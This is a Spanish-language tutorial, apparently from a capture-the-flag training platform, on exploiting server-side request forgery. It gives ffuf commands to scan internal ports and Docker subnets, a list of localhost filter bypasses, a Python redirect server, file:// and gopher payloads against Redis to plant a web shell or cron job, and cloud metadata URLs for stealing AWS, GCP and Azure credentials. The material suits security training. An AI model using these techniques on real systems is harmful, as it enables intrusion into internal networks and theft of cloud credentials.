SSRF: cómo usar el servidor para llegar a servicios internos y a la nube
SSRF paso a paso: detectarla, escanear puertos internos, saltarse los filtros de localhost con redirecciones, leer metadatos de AWS y atacar Redis con gopher.
Hay una SSRF cuando puedes hacer que el servidor haga una petición a la dirección que tú elijas. Desde fuera solo ves la web; desde dentro, el servidor llega a 127.0.0.1, a la red interna y, en la nube, al servicio de metadatos con credenciales. En el catálogo hay más de 15 máquinas con SSRF, y casi siempre el premio es un servicio interno que no deberías poder ver.
Dónde aparece
- Campos que piden una URL: "importar desde URL", vista previa de enlaces, webhooks, avatares remotos, comprobadores de estado.
- Generadores de PDF o capturas a partir de HTML (el HTML puede incluir
<iframe>,<img>o<link>hacia donde quieras). - Parámetros con nombres como
url,uri,dest,redirect,next,feed,host,proxy. - Ficheros que el servidor procesa: SVG, XML (XXE), documentos de Office.
Confirmarla
Pon tu propia IP y escucha:
nc -lvnp 80 # o python3 -m http.server 80
url=http://10.10.14.5/prueba
Si llega la petición, mira las cabeceras: el User-Agent te dice qué la hace (python-requests, curl, Go-http-client, un navegador headless), y eso cambia lo que puedes hacer. Si no ves la respuesta en la web, es una SSRF ciega: sigue sirviendo para escanear por tiempos o para atacar servicios que no necesitan respuesta.
Explorar la red interna
# Puertos de localhost: compara el tamaño o el tiempo de la respuesta
ffuf -u 'http://objetivo.htb/preview?url=http://127.0.0.1:FUZZ/' -w <(seq 1 65535) -fs 0 -t 50
# Hosts de la red interna (Docker suele usar 172.17.0.0/16)
ffuf -u 'http://objetivo.htb/preview?url=http://172.17.0.FUZZ/' -w <(seq 1 254) -fs 0
Lo que más se encuentra detrás: paneles de administración solo para localhost, APIs internas sin autenticación, Redis, Elasticsearch, el daemon de Docker (puerto 2375), Consul, Jenkins o un servicio con un CVE conocido. En Sau, la SSRF lleva a un Maltrail interno con una inyección de comandos.
Saltarse los filtros de localhost
Si la aplicación prohíbe 127.0.0.1 o localhost, hay muchas formas de escribir lo mismo:
http://127.1/
http://0/
http://0.0.0.0/
http://[::1]/
http://[::ffff:127.0.0.1]/
http://2130706433/ # 127.0.0.1 en decimal
http://0x7f000001/ # en hexadecimal
http://017700000001/ # en octal
http://localtest.me/ # un dominio que resuelve a 127.0.0.1
http://127.0.0.1.nip.io/
Y si comprueba la URL antes de hacer la petición, pero sigue redirecciones, usa tu propio servidor para redirigir:
# redir.py: python3 redir.py (y pon url=http://10.10.14.5/)
from http.server import BaseHTTPRequestHandler, HTTPServer
class R(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', 'http://127.0.0.1:3000/admin')
self.end_headers()
HTTPServer(('0.0.0.0', 80), R).serve_forever()
Es exactamente lo que hay que hacer en Forge y en Health. Otros trucos: una URL con credenciales (http://[email protected]/), un fragmento (http://127.0.0.1#permitido.com) o el DNS rebinding (un dominio que primero resuelve a una IP permitida y luego a 127.0.0.1).
Otros esquemas
Si la librería no se limita a HTTP, prueba:
file:///etc/passwd
file:///c:/windows/win.ini
dict://127.0.0.1:6379/info
gopher://127.0.0.1:6379/_...
gopher:// te deja mandar bytes arbitrarios a un puerto TCP, así que puedes hablar con Redis, MySQL sin contraseña, SMTP o FastCGI. Gopherus genera el payload:
gopherus --exploit redis # pregunta qué hacer: escribir una web shell o una tarea cron
SSRF en la nube
En AWS, GCP y Azure, una IP especial da los metadatos de la instancia y, a veces, credenciales temporales:
# AWS (IMDSv1)
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/<rol>
# GCP (necesita la cabecera Metadata-Flavor: Google)
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Azure (necesita la cabecera Metadata: true)
http://169.254.169.254/metadata/instance?api-version=2021-02-01
Nota
IMDSv2 en AWS exige pedir antes un token con una petición PUT y una cabecera especial, así que una SSRF que solo hace GET ya no basta. Si puedes controlar el método y las cabeceras, sí. La chuleta de cloud tiene qué hacer con las credenciales.
Errores típicos
- La petición llega a tu equipo pero no a
127.0.0.1: el servidor está en un contenedor; sulocalhostno es el del anfitrión. Prueba la IP del anfitrión en la red de Docker (172.17.0.1). - Solo acepta dominios de una lista: busca en esos dominios una redirección abierta (
/logout?next=) y encadénala. - La respuesta no se ve: mira si al menos cambia el tiempo o el código de estado; con eso puedes escanear. Para leer datos, busca un servicio interno que te los mande a ti (un webhook, un correo).
Y después
Cuando encuentres el servicio interno, trátalo como uno más: enumera su versión y busca un CVE público. Si consigues una shell en un contenedor, sigue con la sección de contenedores de escalada en Linux.